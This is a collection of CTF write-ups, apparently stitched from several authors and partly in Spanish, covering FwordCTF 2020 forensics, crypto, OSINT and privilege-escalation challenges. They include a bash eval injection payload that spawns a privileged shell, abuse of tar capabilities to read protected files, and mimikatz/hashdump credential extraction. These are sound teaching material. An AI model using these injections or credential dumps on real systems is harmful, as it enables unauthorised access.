Now we have the memory dump, I opened up GIMP. I loaded the dump as `Raw image data`, and set the offset up until there's some image or solid color came up on the preview. Set the width and height to what the description tells us, 600x300. 6 million offset later we got the image.
It's rotated and mirrored, but hey, if you're doing forensics you should be able to figure it out right?
Flag: `FwordCTF{Paint_Skills_FTW!}` |
The challenge consists of a remote port and a local binary. The goal is not to find the flag, but to find an input that the binary accepts. It will then open flag.txt and print the contents.
Light reversing shows that the program does read a number as input, checks if it is 16 digits long, and contains no zeros. Then it does a lot of math on the number. But in the end, the final check prints the flag if the result is divisible by 10. This can be brute-forced very quickly.
```pythonfrom pwn import *from random import choices
for _ in range(10000): r = process("./welcome") r.recvline() num = ''.join(choices("123456789", k=16)) r.sendline(num) if not b"number" in r.recvline(): print(num) break r.kill()```
After ~5 attempts, it prints a number that passes the check, e.g. `5376425822766261`. Giving this to the server reveals the flag: `FwordCTF{luhn!_wh4t_a_w31rd_n4m3}`
The flag is a reference to the [Luhn algorithm](https://en.wikipedia.org/wiki/Luhn_algorithm), which is likely what this actually was. |
# Fatima Writeup
### Crypto CTF 2020 - Crypto 316 - 9 solves
> I think we should all learn elliptic curves and [fatima](./fatima_6b3793a65ef501ea52e9993d25bc20f2647e131f.txz) is a good start, enjoy!
#### Encryption logic
1. `c2p()`: Flag's each byte is mutiplied to point `G` on elliptic curve, and generate new point `C`. Point's x,y coordinates are bit encoded and concatenated, producing bin string having length of 16. All generated bin strings are concatenated to make single bin string.2. `enmat()`: Bin string is divided every `l=3` bits, and decoded to make a matrix.3. `dict_traversal`: random permutation(`shuffle(range(1, 6)))`) is generated. `1: spiral`, `2: revspiral`, `3: sinwaveform`, `4: helical`, `5: revhelical` is applied to the matrix following permutation order.4. `CAL`: Matrix is multiplied to `CAL` matrix, which is some circulant matrix.5. We get the final matrix.
#### Exploit
I must write inverse function of encryption logic.
1. `p2c()`: Inverse of `c2p()`. Brute to solve DLP since there are only 256 candidates.2. `decmat()`: Inverse of `decmat()`3. `dict_traversal`: I wrote corresponding inverse functions: `1: spiral_rev`, `2: revspiral_rev`, `3: sinwaveform_rev`, `4: helical_rev`, `5: revhelical_rev`. The number of permutation is `5! = 120`, so feasible to brute.4. `CAL`: Circulant matrix `C` is generated based on row(`([0 for i in range(len(B)-1)] + [1]`). After that, it is somewhat multipled few times by itself. There are only `100 = len(B)` candidates for `CAL` which are cyclic permutations because of the property of [circulant matrix](https://en.wikipedia.org/wiki/Circulant_matrix).
Writing the inverse functions were tedious. Total Complexity: `O(100 * 5! * 256 * len(flag)) = O(2 ** 28)` so feasible.
I get flag:
```CCTF{Elliptic_Curv3_1s_fun_&_simpLE_Circulaitng_it_make_it_funnier!!}```
Exploit code: [solve.py](solve.py) with [config.py](config.py) |
# fword-ctf-writeupsWriteup for FWORD 2020 CTF
---CapiCap---This challenge was quit nice, i actually spent a great deal of time just to put linpeas on the box, i ended up converting the linpeas script to base64, then copied and pasted it in the machine using echo (there's probably a better way to do this, but i was too lazy to think of anything else)so at my attack machine:`cat linpeas.sh | base64 > linpeas.b64`copy the resulton target host:`echo "base64 string" > linenum.b64``cat linpeas.b64 | base64 -d > linpeas.sh`at first time i missed it, so it took me quit some time,actually the name of the challenge gives us a hint.running the following:`getcap -r / 2>/dev/null`gives us:`/usr/bin/tar = cap_dac_read_search+ep`this caught my attention as i do not normally see this.after doing some research, i found out that this actually gives tar premission to read any file!so i initially tried to read /etc/shadow and crack the hast- that got me nowhere.it took me a minute to realize i just need the flag.txt file!so doing this:`cd /tmp` #so we will be somewhere with write premissions`tar -cvf flag.tar ~/flag.txt` # read the flag file from the home directory, and store it in flag.tar`tar -xvf flag.tar` # extract the flag filenow we can:`cat /tmp/home/user1/flag.txt``FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}`and we got the flag!
|
tl;dr: ssrf to redis and include xss payload in jutsu description.
https://github.com/Super-Guesser/ctf/tree/master/Fword%20CTF%202020/writeups/pastaxss |
# Bash is funYou are provided with an SSH account to server `ssh -p 2222 [email protected]`.
When we get a shell we are in a home directory.```$ ls -lhatotal 32Kdrwxrwxr-t 1 root user1 4.0K Aug 29 19:29 .drwxr-xr-x 1 root root 4.0K Aug 29 19:29 ..-rw-r--r-- 1 user1 user1 220 May 5 2019 .bash_logout-rw-r--r-- 1 user1 user1 3.7K May 5 2019 .bashrc-rw-r--r-- 1 user1 user1 807 May 5 2019 .profile-rwxr----- 1 root user-privileged 67 Aug 29 19:08 flag.txt-rwxr-xr-x 1 root user-privileged 565 Aug 29 19:08 welcome.sh-rwxr-xr-x 1 root root 62 Aug 29 19:08 welcome.txt```
We are```$ iduid=1000(user1) gid=1000(user1) groups=1000(user1)```
We can run `sudo -l` to see if we can execute any program with elevated privileges.
```$ sudo -l (user-privileged) NOPASSWD: /home/user1/welcome.sh```
We can run `welcome.sh` as user `user-privileged`. If we can somehow exploit the script, we can become user`user-privileged` and read the flag in file `flag.txt`.
# `welcome.sh````sh#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
## The scriptIn the beggining there are some operations to read our program options.The only interesting, and most fun :), line of script is.
```sheval "function $name { sed 's/user/${username}/g' welcome.txt ; }"```
Eval is a builtin command that should never be used with user input or user controllable code, as it can be potentialy used to execute any arbitrary code. This is our way of exploiting the script.
Rest of the script is fairly irrelevant for us.
## ExploitWe can use parameter `--username` to inject any code we want to the eval function which will get executed.
We can start with something easy.
```$ ./welcome.sh --username "#"```and script would execute this command```sheval "function $name { sed 's/user/#/g' welcome.txt ; }"```
Frankly, this doesn't do much.
Now we can potentially craft a command that would read a file or spawn new shell.In order to run the script as `user-privileged` we have to use `sudo` with option `--user`.
Exploit```$ sudo --user=user-privileged ./welcome.sh -u "pwned/g' welcome.txt;};bash #"```and script would execute whis command```sheval "function $name { sed 's/user/pwned/g' welcome.txt;};bash #/g' welcome.txt ; }"```
We successfuly complete `sed` command and end it with `;`. Then we are free to issue any command we like. We use `bash` so spawn a new shell. This shell would be spawned as user `user-privileged` because the script was running under this user. Finally, at the end, we use `#` to comment out the rest of the eval command (very similar to SQL injectino).
## In action```$ sudo --user=user-privileged ./welcome.sh -u "pwned/g' welcome.txt;};bash #"Welcome To SysAdmin Welcomer \o/$ iduid=1001(user-privileged) gid=1001(user-privileged) groups=1001(user-privileged)```
We become user `user-privileged`. Now we can read our flag.
```$ cat flag.txtFwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}```## Flag**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}** |
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la dirección virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta dirección.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseña se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseña en claro, si está disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseña:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversación ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo “important.zip”, y su contraseña **fw0rdsecretp4ss**.Dentro del ZIP está flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag está escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensión **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diálogo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imágenes, y con la anchura se modifica una especie de rotación para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversación con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver “algo” que hay en su página de CTFtime, cuyo enlace está en la descripción de la cuenta.
Al acceder a la página (https://ctftime.org/team/131587) no se ve nada aparte de la dirección de Twitter, y es porque eliminaron la pista una vez les notificó el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una dirección de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una búsqueda rápida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la búsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opinión de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del líder, y en el perfil del usuario se ve la pista “check_my_instagram”, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeña, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaño real utilizo la página Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sí se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastaría con comprimir la flag para luego descomprimirla en un archivo que sí tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leída por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyección de código mediante el parámetro **username**, el cual es utilizado en el sed para sustituir la palabra ‘user’ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable ‘isNew’ no se ejecuta nunca, pero se puede conseguir la ejecución de la función otorgando el valor **‘id’** al parámetro **'name'**, puesto que con el parámetro **permission** se puede ejecutar la sentencia ‘id’, que en vez de ser el comando /usr/bin/id sería la nueva función exportada.
La flag se leería entonces así: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. Nótese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag está desordenada, ya que pasó por la función **shuffle** antes de ser cifrada. Esta función es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de números para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag está shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres únicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible solución con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la búsqueda por imágenes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultó familiar, y es porque estuve en estuve en este lugar en una carrera de orientación hace años. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una búsqueda en Google de ```"village" “boulders”``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posición de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montañosa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algún establecimiento. Tras varias búsquedas en internet y una búsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquí **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atención que hay bastantes edificios pintados de azul. Realizo la búsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, característica por este motivo. Busco en Google Maps su localización y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuación. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (última petición)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
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# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la dirección virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta dirección.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseña se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseña en claro, si está disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseña:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversación ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo “important.zip”, y su contraseña **fw0rdsecretp4ss**.Dentro del ZIP está flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag está escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensión **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diálogo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imágenes, y con la anchura se modifica una especie de rotación para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversación con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver “algo” que hay en su página de CTFtime, cuyo enlace está en la descripción de la cuenta.
Al acceder a la página (https://ctftime.org/team/131587) no se ve nada aparte de la dirección de Twitter, y es porque eliminaron la pista una vez les notificó el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una dirección de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una búsqueda rápida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la búsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opinión de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del líder, y en el perfil del usuario se ve la pista “check_my_instagram”, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeña, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaño real utilizo la página Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sí se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastaría con comprimir la flag para luego descomprimirla en un archivo que sí tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
